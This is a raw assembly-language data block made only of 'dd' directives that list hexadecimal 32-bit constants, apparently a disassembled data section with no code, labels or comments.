		dd 8C81EE82h, 62EBB7ABh, 0ED9A904h, 0DEDC884Ch,	0F48C54E0h
		dd 7B0A2321h, 214094BDh, 9258346Dh, 7EC51260h, 762832E7h
		dd 68538028h, 0C20C98AAh, 8C809461h, 5184C88h, 42F60C99h
		dd 0A804A5A8h, 0A8377D65h, 124580A1h, 820CA051h, 0E3F26F94h
		dd 9C8FCCE8h, 443D94F2h, 49B13648h, 0F6F2A0F8h,	496E2416h
		dd 8731114h, 0AC03072Ah, 0C8914374h, 0C4506157h, 0F97D2981h
		dd 8AE44229h, 0A8355325h, 6533AC88h, 35BB79EEh,	24305FD8h
		dd 5414D958h, 0A12C9A4Ch, 0EC1AD474h, 83FA8DEFh, 77B9B1h
		dd 0FBB19710h, 82EF0DF7h, 89B5401Ah, 0AC788218h, 3FDC0AA3h
		dd 7182BC4h, 2618A149h,	8A0C00E4h, 0D7031BD2h, 10838C34h
		dd 40721D70h, 2A417B9Ch, 11CD3C18h, 0E4E2C29Dh,	0C73CE851h
		dd 14047A3Dh, 867CE178h, 56AC8185h, 1B83496Dh, 757EED10h
		dd 7B1C0349h, 8B011609h, 0C6D069ACh, 0DE052DDh,	0B1F0F3h
		dd 898EEF1Dh, 9B92F1D3h, 770A1774h, 148C1296h, 0E883A7E7h
		dd 0FE300795h, 0C10BB091h, 1DA592h, 17EB109Dh, 13AC7Ah
		dd 0ABF85B57h, 670AD86h, 1C716A03h, 745A76E5h, 13B10918h
		dd 0D06E9103h, 71B713Ah, 0FF14987Dh, 10CAA40h, 0E778C377h
		dd 3108A892h, 0EFF0D95h, 99EA011Ch, 1010690Ch, 0E4751771h
		dd 0FC0FAC02h, 840CB077h, 1CE59588h, 28A2996h, 4ED7AD20h
		dd 84148511h, 8BBCB43Ch, 5CCC31D7h, 40A4BED3h, 0D9E9140Fh
		dd 8E6FB92Fh, 0F08B8404h, 98A1FCF0h, 17E05EF8h,	210CCCACh
		dd 1A7AA801h, 430B8015h, 6011F3E4h, 0D9AAC948h,	734C29D5h
		dd 37A039Ch, 10BA7821h,	96693A9h, 0A260E9D3h, 3F78F20h
		dd 0E144E233h, 0C888B18h, 686A6443h, 0D232226Ch, 653B01B0h
		dd 7A832108h, 0EC5994EAh, 0A5331674h, 3091244Dh, 0D1D84013h
		dd 388017EDh, 8BC30A03h, 0FD620672h, 684B9129h,	0A87064D0h
		dd 0C65510C0h, 59493331h, 2D407515h, 671116C8h,	4582485Fh
		dd 68F4BBD5h, 4A4AC334h, 0C2887426h, 0A869E54Ch, 0B77981F9h
		dd 4D39BD08h, 8432308Ch, 0A0F4F719h, 0C40269D2h, 53CF421Dh
		dd 7D4982FCh, 0A10D5DBCh, 31F54FF0h, 903130D6h,	8F198A5Eh
		dd 0D154CC4h, 0C644A58h, 8A8958C3h, 0F261851h, 0BD554D18h
		dd 0C5D06430h, 14DF6619h, 0A023544Ch, 4DB28611h, 210EA484h
		dd 0CE0AF90Bh, 0C988905Dh, 4265B8ECh, 10A1DE7Dh, 8685B8B4h
		dd 32F3DA23h, 4C117750h, 926215F2h, 3E0425BBh, 0E5861050h
		dd 288488A2h, 42086A1Ch, 9EE424DDh, 0F89D421h, 28C5F2C4h
		dd 0EC4684ACh, 25F67EA0h, 23A9428Eh, 0E21A50A4h, 8AB41085h
		dd 7DD4A03Ch, 33488CB2h, 903B8950h, 0D271106Ch,	0EC8C21A9h
		dd 4D34342Eh, 51351830h, 363FEE8Ch, 40119491h, 681184A0h
		dd 0D534E88h, 7841A26Eh, 3A0C0858h, 5F4D7C98h, 6912218h
		dd 0EC8AB195h, 11C67137h, 91216AEDh, 0F105098Ch, 9149D098h
		dd 12747D51h, 0B0521050h, 3C90E34Bh, 307345EFh,	0CF11F505h
		dd 0D652F17Eh, 98912BA0h, 9CB9F028h, 33B7AB83h,	0EC115D6Ah
		dd 90BC7021h, 6FC1D087h, 34901143h, 37075DC4h, 13AF93EDh
		dd 6994A00h, 0A67D07E5h, 4777EAD8h, 6F764019h, 8D00F40Ah
		dd 88C9F593h, 0F8AC1DB4h, 0F1061D96h, 5F2E49h, 0E40C697Dh
		dd 0D87C9C90h, 28D8ADE8h, 7C92E911h, 8CED0095h,	49F312B2h
		dd 0F14C0797h, 0F5161EC5h, 0EB0BAB1Fh, 0FE58877Dh, 0C0069A83h
		dd 28199B8Ah, 8D7C53E9h, 0BEC17D04h, 0AAF4FE33h, 53FF1C12h
		dd 0CFF01798h, 11133474h, 3B0184A3h, 9CC4EBE4h,	8D2C016Eh
		dd 4C107500h, 77025E40h, 0B0904D3Ah, 9EE50905h,	0BD1C80FAh
		dd 9A1F5B83h, 0BFD04D0Eh, 5C040704h, 8CA6B8h, 50EF79CFh
		dd 9FF0720h, 0CE7E808Ch, 9101905Bh, 0C60A121Dh,	8B1C829h
		dd 0B44040BDh, 0A197E4F8h, 0E8B8F4Ch, 103108BCh, 85E1B8F9h
		dd 2C536FC0h, 0E42B7C40h, 475F2F9Bh, 38099E31h,	0B48589Dh
		dd 39E70EF4h, 9A8C8C40h, 0C2A8B118h, 80DF2968h,	0F8DD4B7Dh
		dd 0F48181F5h, 5869E2FDh, 40314910h, 0E3FF59Ch,	4078E2D6h
		dd 2B8CD28Bh, 818C4809h, 2A022DE8h, 0DE301B21h,	1A34B780h
		dd 11885950h, 0C2000091h, 12744B77h, 946558F0h,	914CEE80h
		dd 0DB0179DAh, 0F99FC884h, 89948FF7h, 3314890h,	266A3408h
		dd 64CC2428h, 593C9B57h, 60E462F1h, 920FBDBCh, 87C1ACB5h
		dd 0B6104934h, 4A76E510h, 0A864C069h, 0DB8ED06h, 8B781759h
		dd 625009ACh, 0E0546398h, 74B2CFD8h, 0E84EBCh, 8E74AA8Ch
		dd 44A6B0EEh, 7F5AD900h, 9C7B949Fh, 0F304AC70h,	93F1AAEDh
		dd 8000C4Dh, 22AC90DDh,	8B539510h, 0AAC83F30h, 8E7C0889h
		dd 88588643h, 0A7A0F87Eh, 0C6744A0h, 0AE1C114Ch, 32FA47D0h
		dd 278D2150h, 0D0308A58h, 0B48168A8h, 441094D2h, 11CA22CEh
		dd 868105Eh, 205988CFh,	3B4C2070h, 0BE9C9C4Dh, 4B4CFC0Ah
		dd 49D1420Ch, 50008CB2h, 3CD0A6C8h, 685D28D7h, 248D09B2h
		dd 91874886h, 44892288h, 94899392h, 8E249512h, 90918F48h
		dd 7A449122h, 127C897Bh, 0C076277Dh, 26B9A184h,	0B79DCB09h
		dd 32D4D220h, 8FB8668Dh, 89528496h, 5E2AEB04h, 8BEFA008h
		dd 54B34818h, 681F553Eh, 19931FBAh, 0E4DEE0FBh,	6B728BDBh
		dd 80B31307h, 0E8C7058Ah, 0F08C7D41h, 3ED3C031h, 68000D40h
		dd 6992DAF7h, 0E1F0F99Bh, 8C1EFBF2h, 0FD098A8Eh, 7F484D4Ah
		dd 0F57F04E8h, 95896D58h, 99D48890h, 0E033BB04h, 0A5FC19Bh
		dd 55388B78h, 301C50A5h, 0BD11DC28h, 26329C7Bh,	28BF09BEh
		dd 7F042118h, 0F00DC55h, 73778512h, 14FB9C71h, 10074E7Bh
		dd 6AA9803Bh, 36005638h, 29BEB74Ah, 0CF9774Dh, 900D8975h
		dd 95038F18h, 8DF49FE6h, 94EFEF7Ch, 0EE3E1Ch, 496B05E0h
		dd 546DAC3Ah, 0BD872889h, 0A20CE44Eh, 41CE3CC5h, 31736064h
		dd 0E0C9B9A3h, 6DF55F00h, 9D1CF301h, 0A1FE36h, 43E8F2DFh
		dd 729F1ED4h, 6D047D00h, 270DF9F3h, 0C80E60E7h,	546179A8h
		dd 6C107728h, 18EEF200h, 0C4200D23h, 477504D4h,	0BA9ACC21h
		dd 8C514CC0h, 0F13E00E1h, 3BF3C188h, 90000B31h,	0FFAC667Bh
		dd 1F9EBD07h, 6C25F7h, 0ABE903B8h, 0EC14A515h, 0CF616h
		dd 0FAE0BAF1h, 6134E42h, 672B7FCh, 66BF89F0h, 39EF00E4h
		dd 0D19071Ah, 503D8E93h, 0D0A786FFh, 19B03387h,	5E7A7951h
		dd 673D082h, 38A1575Fh,	35303880h, 8C6BDB5Fh, 0A610DD0Eh
		dd 410421CCh, 98E0E656h, 99C00CFh, 1F26A87Ch, 3D01D0B1h
		dd 31B28B2Ah, 0DBD5AB3Eh, 79AC8FE4h, 0A8A13F20h, 0A693428Eh
		dd 6C0DE5h, 97822DD4h, 0A1E830CBh, 8F2F3503h, 0A7119CCCh
		dd 802CC6C0h, 401E61B4h, 0F0402BA4h, 2914D5B0h,	94409A96h
		dd 251E0F1Eh, 0CCDD0391h, 3128E0AFh, 304DF180h,	7D279887h
		dd 601CFA96h, 0A77E2CD4h
		dd 0EC76C80h, 95802A27h, 9460699Eh, 9C158CCCh, 7CB804BAh
		dd 2D319500h, 0FEEB967Eh, 25970A3Dh, 0C0186C3Fh, 8B312A9Bh
		dd 342B9900h, 3FE65846h, 2C965783h, 0A882290Ah,	568100C4h
		dd 0BF87CCEAh, 7D18E614h, 0C06BC038h, 787EA38h,	922B28D2h
		dd 52144AACh, 169C4038h, 38598800h, 3A9A7813h, 28BFE82Dh
		dd 5F83E27h, 61843F26h,	0D1942AE0h, 0A0E0EB04h,	1F04CBC4h
		dd 0ACAD0AFh, 0EFC0D8C7h, 42BBF80h, 31978135h, 3834C229h
		dd 4BDC42h, 0F1C096A3h,	3FE68B80h, 98908878h, 1F9A8500h
		dd 30C04002h, 0A193263Eh, 0BF810C40h, 691E6C28h, 2026182Bh
		dd 87016C6Ah, 86252AA7h, 5092EC21h, 0FF74309Ah,	91DE5A41h
		dd 4856068h, 0FEBC27Fh,	2B263040h, 0C116807Dh, 9049903Bh
		dd 0EAB4B04Ch, 58589080h, 351750ECh, 98E5E42h, 0D081AF9Bh
		dd 0E0E8A881h, 3362AC76h, 60219740h, 3C206BC0h,	0FC078B24h
		dd 4D987D35h, 0C68C4010h, 300FAD56h, 0EB999329h, 3D70023Fh
		dd 0EFFC6140h, 909C4CE0h, 0B47718A0h, 34981020h, 35B260C4h
		dd 1E58AC86h, 0C6B09340h, 40B37FECh, 27A54C0Eh,	0C8AD8D41h
		dd 2581E7E3h, 308FB27Eh, 418F6B7Dh, 9693A118h, 82013CF8h
		dd 8B3E2F9Ah, 1863E6B0h, 0A5EA0443h, 3C27F828h,	0FC3C8F3Ch
		dd 59C0D45Ch, 6B90341Eh, 803A60B3h, 792CC96Ch, 243FFCA8h
		dd 0E9B8957Fh, 0A3851838h, 26F03048h, 7D071CB5h, 7C40209Ah
		dd 1F2A319Bh, 125A64Ch,	4027998Ah, 0E07C6194h, 33F0957Bh
		dd 29AC8209h, 5FC01FEAh, 16D6F82Bh, 42A68F1Fh, 3326C8C4h
		dd 6731B4C1h, 2FFC13E4h, 0C33A0C62h, 302CC198h,	0A4DFDC61h
		dd 28BCD887h, 0B12B7998h, 0C1C24C4h, 3F092DFCh,	0C8B07D3Fh
		dd 50CCA7E4h, 39C0B22Bh, 972EC792h, 9AA20420h, 0A810C321h
		dd 2798691Fh, 8BAF900Eh, 7D20903Fh, 0A42CA596h,	405C3E3Ch
		dd 8B402B04h, 8234C395h, 4C3E5800h, 7C2927A7h, 0B099F998h
		dd 4DA18059h, 1F502018h, 0AF38FB4Dh, 0AF041EF9h, 3E183880h
		dd 3D5BC7C0h, 0A202845Eh, 1C6C3024h, 18217C9Eh,	0B07C2278h
		dd 0AF4002C8h, 802A31A1h, 1F450D1h, 0B3A130CBh,	60904021h
		dd 74FD2AD8h, 0AF0A9364h, 408F3331h, 2FF89AADh,	1CDDA350h
		dd 3DD1A1B3h, 20601471h, 5C35F284h, 31133828h, 2F44C334h
		dd 2A27B4A0h, 0C3403C9Eh, 0C7E9C133h, 80BA5808h, 0D4E19D35h
		dd 0E2CA2A03h, 0C0BD2ECCh, 3B917D2h, 0BA22C7E5h, 99D3C3DFh
		dd 9DF3A79Bh, 0CA30D0E0h, 29D5930Ch, 7BD21C1h, 0B933D2EBh
		dd 0C72A43D6h, 0C0357ED0h, 2507D874h, 26D4DCCAh, 31AD7341h
		dd 4B16887h, 22CCB0A5h,	0D042D8BFh, 333BA1FCh, 30D2BCBDh
		dd 0C13760ABh, 0F068A5D6h, 0C7022DA1h, 0BD14C3E6h, 0BBA880E5h
		dd 22A6D8h, 26CAD7C6h, 0AAEB478h, 0D000B8E8h, 7EE5C733h
		dd 0C3DCC038h, 35D6D821h, 0D3C1D4B1h, 0E1C80E95h, 0BC90DB4Ch
		dd 8337C8A1h, 0C8105E60h, 3830F5D8h, 74A8027Eh,	0CA063EBCh
		dd 7833CD00h, 0C42AC6EAh, 0D02620C3h, 0BB2291E7h, 0FC30C7D0h
		dd 29D21D93h, 67C212BDh, 2281DF10h, 0BEB1E7CAh,	24C718E8h
		dd 74119F28h, 33A324A1h, 0CDC201Ch, 2DC7DBCFh, 3907C320h
		dd 24BFE5CCh, 2FCDDC40h, 0C6E73078h, 2AD0D7E8h,	0C1C8CE50h
		dd 4C49850h, 8C1380A2h,	209BE1D1h, 0E7F02F0Ch, 0C1277E1Eh
		dd 0A81BC29Fh, 0E68814D8h, 2874DCD1h, 83D0047Eh, 0C0DFA3D8h
		dd 0FE2C403h, 0A1CB2CC1h, 80110Ah, 9FBD34BFh, 0BA50CE68h
		dd 0F0A935B0h, 0C46086E1h, 7CD09830h, 3CD1F426h, 0CB3FBBEFh
		dd 0CCE9BE32h, 58203405h, 7457C15Eh, 58C53173h,	84ABF408h
		dd 9FD13330h, 0B0DC1C93h, 24E3B9E1h, 14442DCEh,	0BBCAF4BFh
		dd 0CD334378h, 843644D7h, 78C80720h, 0C117C0D4h, 0B9F8D2E5h
		dd 0C00EE8CDh, 0D825F007h, 0BF044450h, 0E2AA01AFh, 0D4CF35C4h
		dd 0B4DC30h, 0BD2FC7CAh, 0BE85E973h, 2D3FF400h,	0A6E3FD53h
		dd 651C0E77h, 18005917h, 0B87A01E1h, 2D044C76h,	0AA4E6C9Fh
		dd 8675BDC0h, 57C80007h, 154467E8h, 6A0072A5h, 0DAD2735Eh
		dd 0CE9C6A7h, 62B11081h, 0E318FC90h, 4E607C06h,	12CF00F5h
		dd 31725E6Dh, 0F60CB01Dh, 206CF31Bh, 8ACB0AC1h,	782014AEh
		dd 18C0FBEh, 0B2AADFD9h, 52CD47D6h, 0C1C06980h,	0FC0390A0h
		dd 0C34B9CDBh, 0E3980F70h, 18DCC808h, 2DBE107Ah, 0DB56D407h
		dd 185C7C30h, 61362B5Eh, 686104Ch, 0C21733E3h, 7190C569h
		dd 84686810h, 0D0577489h, 970FC00h, 0C065001Fh,	4CB6CF2Bh
		dd 0DF07DA22h, 0B266FB82h, 919CE581h, 0CCAC43h,	0D7EA11A8h
		dd 1EFEA597h, 0B0E4C538h, 0EC822088h, 0EA91C1C7h, 0B193B10Dh
		dd 6BDF8818h, 417CCC11h, 108789E0h, 651171E7h, 907A50ABh
		dd 10E4C1D0h, 37A8F76h,	0B3955D0Ah, 6FC41CCBh, 905F2B04h
		dd 0D55EEB38h, 0C80A2400h, 19BA4756h, 0A0C2E181h, 0F07BC4A8h
		dd 5BC8CEF1h, 1F39002h,	3E1C0A7h, 2852D568h, 1AD4B230h
		dd 0A58A830h, 0E31C8C8Ch, 0DCB11602h, 24401D09h, 0C04ACA2h
		dd 942156EAh, 3305E288h, 90A54EE8h, 0C1C90801h,	50245BA7h
		dd 197E0073h, 5E7CC1Bh,	0DF66777Ch, 217909h, 3D1B119Eh
		dd 50AC2B19h, 89F2020Fh, 5DBF45FEh, 0E327D000h,	157AC46Eh
		dd 84E20F83h, 9468AE8h,	44D92707h, 28E03167h, 0BC90CEC4h
		dd 0F82430E3h, 804A84DBh, 108C4356h, 4A065F92h,	9882B8DDh
		dd 0C1D80C5h, 8AD8C478h, 0C53201Ch, 6BA91260h, 11854C40h
		dd 482A77Ah, 468F558Bh,	963D804Dh, 0AC0F66C7h, 40457161h
		dd 5EE7CE28h, 0D87D528Dh, 0FCCC4815h, 43C11F00h, 0F2B3F024h
		dd 4082C201h, 6E72E43Ah, 9F14E89Eh, 5BA98C73h, 0D0097779h
		dd 1E11F21h, 0B7D8C5CFh, 21E008BFh, 0B021C89Ch,	7EFA421Fh
		dd 7CDA3C00h, 3FEBE4Eh,	0D2E82A59h, 58235A97h, 21CD01B0h
		dd 18C7E11Ch, 0E8998970h, 2AC30C21h, 0FA79647Ah, 8F444E9h
		dd 6E310D4Ah, 8C137209h, 64CC0DCh, 0E7E40126h, 801F1094h
		dd 740F7D8h, 4CAF4457h,	3981E315h, 0D946E7D2h, 0B79443A5h
		dd 0E3B9E9A8h, 0EEC3F812h, 87BF1400h, 0C17524DDh, 0C1C8CA30h
		dd 197C26ADh, 35481B1Fh, 887D7C26h, 1B0917A4h, 72B383h
		dd 5C136431h, 24C95203h, 0A9307AB2h, 52D9003Eh,	0E7492644h
		dd 502A6DEDh, 581E985Eh, 0B8F16810h, 0F9C442C4h, 300DF816h
		dd 0D9C05FC9h, 43569C17h, 29410390h, 0F8925DFCh, 28D6963Ah
		dd 208CB850h, 161EA835h, 62C9A7E3h, 4141939h, 2A2CF040h
		dd 0EEE30080h, 5861D87Dh, 204C0A22h, 92751018h,	7D0B82Bh
		dd 0D9C0F54Ah, 82447828h, 6448ED4Ch, 0D12EE8A0h, 62ED79E3h
		dd 7A761880h, 4104DD41h, 1290D78Bh, 29C07740h, 0B184B793h
		dd 0E5AA06FCh, 8A2F45Ch, 0B4219060h, 0E02684AFh, 68400005h
		dd 0ADFA1B29h, 80776E3Eh, 2AEBFD0Dh, 0FC186884h, 4A6D2CBFh
		dd 5CE04E10h, 0D4319B7Bh, 0DECB50Bh, 0CE382055h, 0A4B9EB0Eh
		dd 0DD4E0878h, 0F4009A99h, 2DB1AB4Fh, 28C00F88h, 0E1C11D83h
		dd 31C5C7F8h, 5EACE03Ch, 40A62C29h, 0CF47B902h,	834F0057h
		dd 0B700E51Bh, 0AF4C4359h, 28FBE980h, 0C7BE65h,	6487C03Ah
		dd 6A5D129Fh, 0BD1F2092h, 970A5E75h, 0E400A48Dh, 18D99395h
		dd 588652E2h, 620E9848h, 0F8425EE5h, 7C0AFD84h,	1B8EA911h
		dd 15340933h, 0A000581Ch, 1C121B13h, 3D990Bh, 5DB39CBAh
		dd 49D82A15h, 28EDA8A0h, 0F88452h, 16453D7Ch, 28F8E0CFh
		dd 2888D137h, 14E8BDB4h
		dd 0CC65C71Bh, 76E7BAA0h, 34781D24h, 0FBFCA701h, 1B005A06h
		dd 140255C0h, 0EB7CE1D1h, 72ECAF6Eh, 20088835h,	84B8C013h
		dd 18E5FCB2h, 0B0B58889h, 8A38403h, 0A15B2203h,	9042DF6Ch
		dd 0D52C60BEh, 6B248093h, 0FDB92204h, 8D4F2Dh, 0EB1F7830h
		dd 0DE288989h, 87916017h, 0E3FD2181h, 2B4981E2h, 0C546C958h
		dd 0E11024h, 4ABD36B6h,	426297CCh, 0DD089C64h, 0AE076090h
		dd 0BC860036h, 0F1ECD298h, 4D09494Ah, 0A1B8EDF5h, 8832FD8Ch
		dd 0E9B458h, 1466C094h,	0EBFEDB92h, 0A859DA29h,	4AC0E84Ah
		dd 8073A0E5h, 0F0B8C4D3h, 9AE3FF0Dh, 61DE2079h,	189FBFC8h
		dd 0C063C3F5h, 81E49D8Fh, 44DE1B88h, 88B88EACh,	0CB3EC074h
		dd 0F302ABB0h, 0FEB15553h, 0EA689034h, 0BE949446h, 0C42D027Ah
		dd 0E2268CACh, 1DD89180h, 0C7058FD4h, 8541207Fh, 0D78BC040h
		dd 0FC73BDE2h, 0EA680026h, 5B4ED362h, 8A0E1637h, 164C6AEh
		dd 0E54D520Bh, 70807FC1h, 3578E632h, 8AB85DD1h,	1D589A48h
		dd 680D610h, 3713FCA8h,	43189961h, 0D900715Ch, 4559A9F2h
		dd 435527h, 0A42B20DEh,	1BB33B13h, 9350EFEAh, 9250EAA8h
		dd 0C24A37A0h, 534C3C01h, 0E85C2CFFh, 79E0B9C8h, 181876h
		dd 0F82C51C2h, 843556E9h, 69BFC8C0h, 91DFEA59h,	1887D1A8h
		dd 40734C0Eh, 4B16D0C0h, 7E3146ECh, 834060AFh, 34703183h
		dd 0DF0FD75h, 8E01C3AAh, 9991F5Bh, 80402766h, 23242C5h
		dd 0DD4B29FFh, 0F4446330h, 0BB021646h, 0CAFCB584h, 0B8108D31h
		dd 800084B3h, 85D3354Eh, 1AF30E22h, 506248F5h, 0C000846Eh
		dd 144FCC6Fh, 496AFBFDh, 0CAE38C74h, 328350B1h,	59AA3D7Ch
		dd 1E93002Ch, 0E926DAA3h, 0F1AF0022h, 0E3C5B823h, 902C1D82h
		dd 360984B7h, 849468h, 88B3DEB8h, 0CA2AC7DBh, 80C50104h
		dd 3881B539h, 400174ADh, 0AEE1807Ah, 87A711BAh,	913893CEh
		dd 15200F68h, 2033264h,	0E014C53Fh, 198FC428h, 5076BD7Eh
		dd 0D6B830B0h, 8FCC5D58h, 0A862F0B4h, 0B14819Eh, 594EE7B7h
		dd 0D7BFB8A0h, 1000B44Ah, 2B2217DAh, 92C3DE83h,	62722ECCh
		dd 58E5E11Ch, 80480A84h, 0B501C823h, 0C44ABC36h, 21C0D918h
		dd 5B36AD06h, 12C602BBh, 0F82E4224h, 7CE580E2h,	8E606EE4h
		dd 2424EFE4h, 5308BCBBh, 46B028CFh, 1B1C1FAAh, 651DE789h
		dd 14A18090h, 97AF211Bh, 0B505FFE0h, 7928B125h,	0E7B6A060h
		dd 887D727Eh, 3706A91Ah, 0D4EC8318h, 66AA30E1h,	0EE7804A1h
		dd 895A902Ch, 966A8E39h, 264502A7h, 0B0C465Eh, 0ABE96BE2h
		dd 8807F832h, 0F0DC0463h, 4618E784h, 80309DB9h,	0E99F63F8h
		dd 74C97EDEh, 8257F00Ah, 34B2E278h, 382D4112h, 21AAE40Ch
		dd 95300011h, 53C3BDBEh, 0CC90592Ch, 0BC021746h, 0D2FCB684h
		dd 0B9108F31h, 0E30084B4h, 0F148602Ah, 279FD65Dh, 908331h
		dd 210C4142h, 60821CFBh, 805F7CAAh, 93019EA8h, 34F1CC30h
		dd 0BC30582Ch, 0C06F40DFh, 2C34ED4Ah, 0E82C4C3Fh, 5428035Ah
		dd 5881E4C7h, 95D843C3h, 0E34019F4h, 982260E1h,	7164783Bh
		dd 478A35Dh, 75F6F37Eh,	902068B5h, 1239C07Fh, 1B2548D8h
		dd 3C095709h, 5668C0F6h, 44814B75h, 0E2BAEAF8h,	0C640F768h
		dd 47B5BAh, 0C56D0206h,	468D264Bh, 409F9300h, 0E308B1F4h
		dd 5A620B13h, 770CFD67h, 760A0620h, 20598FFBh, 8CF12F78h
		dd 0E8C14A00h, 884FC05Bh, 3FE4072Bh, 48F2EA06h,	8007BA0Bh
		dd 87C6B172h, 79160014h, 0D81D0A48h, 31C011EEh,	45CB54Dh
		dd 0CBD0009Eh, 0A634DF21h, 7300D259h, 44615F6Dh, 8CD7CAh
		dd 0BC6CA1ABh, 0C291B109h, 0CD3B6F00h, 0AF569587h, 0A62B3B08h
		dd 5BDEE181h, 80EA8815h, 0E2276589h, 0B24459h, 8DBC36Eh
		dd 3FDC8D9Ah, 0E557BC00h, 65680CE8h, 0C207D11h,	3E2CC571h
		dd 0FB7C91F8h, 48830900h, 0D2056F1Ah, 584960CCh, 0A89B7CE4h
		dd 9CBAB907h, 8F80B36Ch, 0C0479D87h, 0EFF64390h, 0FE3EF352h
		dd 0D36980D6h, 0A5EAAE0Bh, 0B13F1CC0h, 84965507h, 920C6C3Ah
		dd 221105EEh, 620103F6h, 0A64408Bh, 8982883h, 37452119h
		dd 0D63B0371h, 871694B4h, 0D56F0678h, 14C01F47h, 3C998F5Eh
		dd 30BFE240h, 65A07289h, 6D723426h, 58675201h, 1477C50Dh
		dd 0CDE838B1h, 42A61047h, 35961E8Ah, 1090E821h,	0C900799h
		dd 5050D997h, 0AB83A67h, 19C4F30Ch, 6C003F38h, 8C07AC8Dh
		dd 30EBEA29h, 83C1030Ch, 0C60164AEh, 0C3C2F4FBh, 0C443F10Bh
		dd 6C402202h, 518F070Ch, 74FD6152h, 678C12Dh, 9E936911h
		dd 5906A9A1h, 1D1143CCh, 0C0C5655Fh, 0E82682C9h, 8CC4AC0h
		dd 1862155h, 0A66CC55Dh, 50EFEBA1h, 110A9A9Ch, 0F7BC2200h
		dd 2BD8A32Ah, 0A18505CCh, 3AB0BD9h, 0FC8615B0h,	7653101h
		dd 4A599D1Dh, 1BDEE890h, 0C9F31Fh, 10A311E9h, 0CC4AD892h
		dd 6D62E102h, 8415E7CDh, 8488EFB4h, 0D540060h, 2B4BB9C8h
		dd 2D0792B5h, 2E83945Eh, 0A7F868C0h, 0D080DF44h, 8E075046h
		dd 0ED69C90Dh, 0E180A118h, 52B93CAh, 82060CE9h,	0AE07BDA1h
		dd 8A877BC1h, 32D7E081h, 0B38CDC1Dh, 49B8FA60h,	0F5F3DD6Dh
		dd 886EA080h, 68EA243Fh, 8A3E6F3Dh, 0C84139B7h,	9438033Ch
		dd 187C0A87h, 8150CD10h, 0F7385940h, 4B4E0715h,	0D0B1D38Fh
		dd 70D4B753h, 936B0C0Fh, 170E6EBh, 0C3CBB506h, 7BB007CFh
		dd 6440496Ah, 9F943A03h, 603D4661h, 37C6859Dh, 0B0272817h
		dd 2A834FF1h, 7D718BD8h, 9884A015h, 0F4EB3059h,	966D7BE9h
		dd 0DA464000h, 38478E07h, 66730B76h, 4180DE37h,	3A027110h
		dd 590A2830h, 1A76026h,	8768F9Eh, 99468744h, 4C211B08h
		dd 4020F17Bh, 0CBD69B0h, 9B6A78C1h, 0C88E180Fh,	93209A52h
		dd 0B2411387h, 4BFD98A0h, 56AC0F50h, 0BE50EA50h, 0F103777Eh
		dd 0EF61A46Dh, 4F44E8FAh, 0DCCD1C62h, 0AC4DD5C5h, 3146EA00h
		dd 0AD542D14h, 0AB06DB77h, 600D698Ah, 0FE423E88h, 8BC8EA01h
		dd 0E8E97Bh, 0F65B404Eh, 471C0E7h, 6D5FC99Dh, 992AAC3Ch
		dd 0FA088465h, 95292180h, 6DCFFEC9h, 0BD97050Ah, 9E00C040h
		dd 3FBE0A4h, 0ECA3FC3h,	1C2BF58Ch, 2D0A66D0h, 84234179h
		dd 90864E09h, 0C0F6EB54h, 0FFAE4F59h, 0FC005B5Ah, 6BD96FF1h
		dd 280A52Fh, 0D1B18283h, 84606822h, 0B4A886A7h,	0C0DD0570h
		dd 404C3A3Ch, 8BCD0664h, 0E0EBDC04h, 7BD5E30Dh,	0C0208812h
		dd 0B84050F6h, 0B7C510AAh, 6A4D0718h, 0C9809E6Bh, 595BF5E3h
		dd 60536C03h, 0C204927Ch, 90031820h, 94958468h,	303680C9h
		dd 11A75C10h, 88568F9Ah, 5448801Eh, 41989FA7h, 9453A026h
		dd 6575508h, 283E1021h,	6D894E15h, 3CFA2994h, 30377032h
		dd 9B5CA75Dh, 22384254h, 55490023h, 341BC8A7h, 3104AFD6h
		dd 9AC463BDh, 0BF3ADC90h, 0E95561B1h, 502C67D5h, 75599F98h
		dd 7926E092h, 5744A807h, 41C56360h, 1172C923h, 5B840056h
		dd 0BBCAFAC5h, 0FD070B13h, 242523ABh, 9C824B7h,	443059E4h
		dd 5D11C99Bh, 0F9889C6Dh, 0C9932780h, 4CB6C86h,	0F5A133D7h
		dd 3E30801Ah, 0E48639Ch, 72BC07B4h, 60AC0DFAh, 2FC1146Ch
		dd 1065A0DBh, 9A382058h, 6D235CC9h, 0FF1194h, 9EC99226h
		dd 5D01F77h, 334D86Eh, 887A6Ch,	0DF4E043Bh, 41EBD50Dh
		dd 0A398800Fh, 2BC81A9Ah, 57931249h, 68D418F2h,	0DF1A9B72h
		dd 4611E908h, 12C99074h, 9DC69A8h, 0E8AC56F4h, 48C5498h
		dd 0C93EC560h, 2053625Ah, 0CC55881h, 0B9BFA61Eh, 0A4F7CA89h
		dd 9E605C10h, 6D2360C9h
		dd 400108B4h, 0C996033Dh, 0C8A02FCDh, 0B8BA2C9Eh, 72F70994h
		dd 3CA0F3C3h, 16B57A01h, 0F1C8D8A1h, 182EEF1Fh,	582CBC85h
		dd 96417508h, 0EC24020Fh, 4F04B1FBh, 0C22D1340h, 75000BC6h
		dd 0BC8BA51Bh, 245CC597h, 1ED8CE34h, 73950490h,	8F3093AFh
		dd 855DA28h, 0B092EF7Ch, 6DFEE8EAh, 0AA99EC16h,	0F824CC5Fh
		dd 1CC0F305h, 13EFB446h, 0B1DE0731h, 0C1C49235h, 0D7E807F3h
		dd 0C1935BD0h, 12979E19h, 0FC100D61h, 6C004BACh, 727C8F96h
		dd 30E35C5Bh, 97210FEFh, 37EC1EB7h, 93B24500h, 0A75B53A4h
		dd 9148C0C3h, 0D9CB4AD0h, 6C2CF0A5h, 0D8730D6h,	1566B222h
		dd 90DFC11Dh, 10208B17h, 490BCCEDh, 9704D02Fh, 48AF5059h
		dd 8198C456h, 26846D25h, 21FB3004h, 0C99024h, 33CB92B6h
		dd 2635798Dh, 0FEC2F8A0h, 0C4F40109h, 0BB0448A5h, 93B51E40h
		dd 103B53B7h, 0C22BC08h, 0C98F2F0Ch, 98718866h,	92A879DCh
		dd 84344D98h, 98A75A83h, 88841C49h, 5281BD1Fh, 0FE716BA7h
		dd 70A5FD4Ah, 9491AA30h, 30185679h, 2F67141Fh, 0BA6EFA82h
		dd 7DA444CCh, 0BBB3A63h, 83B04680h, 1AF3DF45h, 0E9AADC00h
		dd 2A3961E3h, 31BBF9CDh, 0B6164802h, 0EC40603Dh, 6B24C3CAh
		dd 814594FEh, 0DC049C56h, 8B0F045Fh, 9713E564h,	7B1477A0h
